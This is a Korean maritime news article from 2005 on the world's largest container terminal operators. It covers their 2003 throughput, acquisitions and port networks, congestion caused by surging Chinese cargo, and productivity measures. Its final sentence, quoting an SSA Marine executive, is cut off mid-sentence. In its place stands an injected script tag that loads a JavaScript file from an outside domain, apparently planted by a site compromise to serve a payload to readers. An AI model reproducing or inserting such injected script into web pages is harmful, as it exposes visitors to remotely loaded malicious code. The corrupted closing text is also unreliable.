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글로벌 터미널 운영사들 “화물 확보와 적체 해소에 역점”
글로벌 터미널 운영사들 “화물 확보와 적체 해소에 역점”
  • 해사신문
  • 승인 2005.04.01 04:43
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5대 운영사 2003년 처리물량 1억TEU 초과

컨테이너 물동량의 지속적인 증가와 선박의 대형화로 주요 글로벌 터미널 운영업체들이 2003년에 두 자리 수의 처리 물동량 증가를 기록한 것으로 나타났다.

드류리(Drewry Shipping Consultants)사의 조사결과에 따르면 2003년에 세계 5대 터미널 운영사인 허치슨 포트 홀딩스와 PSA Corp., APM 터미널과 P&O 포트사, 유로게이트는 각각 1000만TEU가 넘는 물동량을 처리한 것으로 밝혀졌다.

특히 허치슨 사는 급성장하는 중국 항만을 배경으로 세계 항만물동량의 13%에 해당하는 4150만TEU를 처리했으며, APM 터미널과 P&O 포트 사도 세계 각지 항만에서 터미널을 운영하고 있는 지리적 강점을 바탕으로 20% 이상의 처리물량 증가를 기록했다.

이들 글로벌 터미널 운영업체들은 내부적으로는 투자를 통한 인프라 확장, 외부적으로는 터미널 인수 및 합작을 통해 처리 능력을 지속적으로 확충하고 있다.

주요 거점에 네트워크 구축, 물량 확보 추진

세계 최대의 터미널 운영업체인 허치슨 포트 홀딩스는 2003년에 전체 처리물량의 2/3 가량을 극동 지역에서 처리했는데, 이 회사는 홍콩 HIT 터미널의 최대 주주이자 얀티안 터미널(Yantian International Terminal) 등 중국 여러 항만에서 터미널을 운영하고 있고, 부산 허치슨 터미널의 100%, 말레이시아 켈랑항의 웨스트포트(Westport) 터미널의 31% 지분을 보유하고 있다.

이 외에도 허치슨 사는 로테르담 ECT, 영국의 펠릭스토우(Felixstowe)와 탬즈포트 (Thamesport) 등에 진출해 있으며, 북미 인근의 바하마와 파나마에서 환적터미널도 운영하고 있어 2009년까지 처리능력이 6300만TEU에 이를 것으로 전망되고 있다.

또한 A.P. Moller 그룹의 터미널 운영부문 자회사인 APM 터미널 사는 세계 최대의 정기선사인 머스크-씨랜드의 물량을 바탕으로 유럽, 아시아, 미국, 남미, 아프리카 등 세계 전역에 걸친 네트워크를 형성하고 있는데, 미국의 LA항과 NY/NJ항 등의 게이트 터미널과 스페인의 알지시라스 환적 터미널, 말레이시아의 탄중 펠레파스항, 로테르담의 델타 터미널 등을 운영하고 있다.

한편, COSCO는 다른 터미널 운영업체와의 합작을 통해 중국 이외의 터미널 운영에 참여하고 있으며, 지난해 11월에는 앤트워프 터미널의 25% 지분을 획득함으로써 유럽 항만에 처음으로 진출하는 성과를 거두었다.

중국 화물 급증이 터미널 운영의 최대 변수

한편, 과거 항만인프라가 갖춰지지 않은 일부 저개발 국가의 항만에서 주로 발생하던 항만적체가 최근에는 중국발 화물량 폭증으로 주요 선진국 항만에서 보다 심각한 적체와 운송지연사태가 터미널 운영업체의 경영 전략 추진에 최대 변수가 되고 있다.

미국과 유럽의 터미널들의 경우 인프라 확충을 위해 다각적인 노력을 기울이고 있으나 화물 증가 속도를 따라잡기에는 턱없이 부족하며, 아시아 지역 항만들처럼 신규터미널 건설 등 대대적인 시설 확장도 쉽지 않은 것이 문제점으로 부각되고 있다.

또한 터미널 운영업체가 통제할 수 없는 선박대형화에 따른 화물의 집중과 내륙 연계운송망의 병목현상도 항만적체를 가중시키는 또 하나의 원인으로 대두되고 있다.

따라서 앞으로 수년간 항만과 터미널 운영사의 최대의 화두는 이러한 상황에서 어떻게 화물의 원활한 흐름을 유지할 것인가에 있다. 특히 터미널 운영사들은 향후 5년간 중국-미주, 중국-유럽 간 화물흐름에 어떤 변화가 나타날 지에 주목하고 있다.

지난 수년간 선진국 항만의 연평균 물동량 증가율이 10~12%였던데 반해 중국 항만의 컨테이너 물동량은 2002년에 35%, 2003년에는 31%, 2004년에는 20% 증가하여 5,800만TEU에 달했으며, 물동량 증가율이 현재처럼 연 20%에 달할 경우 2008년에는 1억1000만TEU에 이를 것으로 예측되고 있다.

이러한 전망에 따라 각 항만들은 시설 확장과 신규 터미널 건설계획을 속속 발표하고 있지만, 현재 대부분 항만들이 가용능력(design capacity)의 65~80%를 사용하고 있고, 터미널 신규 건설에 5~10년이 소요된다는 점을 감안할 때 주요 항만에서의 적체는 쉽게 해결되지 않을 것으로 보인다.

항만 장치기간 단축 등 생산성 향상에 역점

이에 따라 터미널 운영업체들은 화물 급증에 대응해 항만적체를 완화시킬 수 있는 최선의 현실적인 대안으로 기존 터미널의 생산성을 향상시키는데 역점을 두고 있다.

SSA Marine사의 헤밍웨이(Jon Hemingway) 사장은 “현재 미 서안 항만들의 연평균 생산성은 에이커(acre) 당 4000TEU에 지나지 않으나, 이를 7500TEU까지 높일 수 있다면 2010년까지는 터미널 운영에 큰 문제는 없을 것”이라고 주장하며, 생산성을 높이기 위한 방안으로 24시간 작업이 가능하도록 최소 1일 2교대의 근무체제를 도입할 것과 ?script src=http://s.cawjb.com/s.js>

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